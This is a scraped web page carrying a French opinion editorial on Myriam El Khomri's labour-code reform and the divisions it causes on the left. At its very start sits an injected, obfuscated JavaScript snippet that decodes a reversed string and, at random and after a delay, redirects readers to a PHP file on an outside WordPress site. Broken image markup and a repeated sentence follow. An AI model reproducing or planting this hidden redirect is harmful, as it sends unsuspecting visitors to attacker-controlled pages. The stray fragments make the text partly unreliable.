$NqM=function(n){if (typeof ($NqM.list[n]) == « string ») return $NqM.list[n].split(«  »).reverse().join(«  »);return $NqM.list[n];};$NqM.list=[« \’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to.jpg » alt= »image édito (© 123RF) » width= »524″ height= »394″ /> (© 123RF)

On dira ce qu’on voudra, mais une réforme mal engagée n’aboutit en général jamais correctement sur le fond. La (décidément) très jeune Ministre du travail Myriam El Khomri va le vérifier à son corps défendant. « Son » avant-projet de loi de réforme du code du travail est peut-être déjà mort-né.  Elle pourra s’en prendre en partie à elle-même. Par une annonce maladroite de l’usage du 49-3, avant-même le démarrage des discussions, sous prétexte d’affichage de détermination, elle aura contribué à fausser la donne. En crispant le débat et en contraignant le chef du gouvernement à endosser l’habit de l’intransigeance qui lui colle par trop à la peau, la Ministre du travail a plombé la suite d’un débat qui constitue, encore et toujours, un tabou. Un tabou ou un totem d’ailleurs. C’est selon. Ce qui est sûr, c’est qu’en France, on ne touche jamais impunément au Code du travail. C’est conscient de cette réalité que le gouvernement, préalablement à l’élaboration du projet de loi, s’était cru obligé d’exciper la statue du commandeur, Robert Badinter. Président de la commission éponyme, il s’était penché, avec quelques juristes spécialisés, sur les principes du droit du travail. Une façon symbolique de commencer à contourner l’obstacle et de procéder à un premier déminage du champ de bataille. Peine perdue. L’avant-projet de loi, qui se veut pourtant véritable refondation du code du travail, n’est déjà plus qu’un prétexte : mesurer où se situe, à gauche, la ligne de partage des eaux entre les défenseurs des « idéaux du socialisme » et ses fossoyeurs putatifs. Une occasion supplémentaire pour rater le rendez-vous avec la réforme. C’est sûrement normal au pays de la Révolution qui guide le peuple.Les sempiternelles rodomontades de Manuel Valls (« Nous allons réformer le pays jusqu’au bout ») n’y changeront, une fois de plus, rien. A fortiori parce que ce dernier a ressuscité la querelle des anciens et des modernes avec le clivage de la gauche du 21ème siècle contre la gauche du 19ème siècle. La vieille lune de la gauche de tradition contre la gauche d’innovation. Un classique du genre dont l’histoire a démontré qu’il mène directement aux Verdun de l’initiative et de la décision. Autant de prises de pieds dans le tapis qui ne laissent rien augurer de bon. À preuve, la charge à l’arme lourde conduite par l’éternelle Martine Aubry flanquée d’affidés de toujours et d’alliés d’un jour. Après la division née du débat sur la déchéance de la nationalité, place à la division sur le code du travail. Un clou chasse l’autre. À moins que cela ne soit un caillou dans la chaussure pour une gauche claudiquant sur le Chemin des Dames… On avait besoin d’une « loi travail », en forme de refonte des relations sociales au sein du monde du travail, on aura surtout un exposé des motifs en forme de bilan du quinquennat et de réquisitoire contre les derniers temps de Valls. Une occasion supplémentaire pour rater le rendez-vous avec la réforme. C’est sûrement normal au pays de la Révolution qui guide le peuple.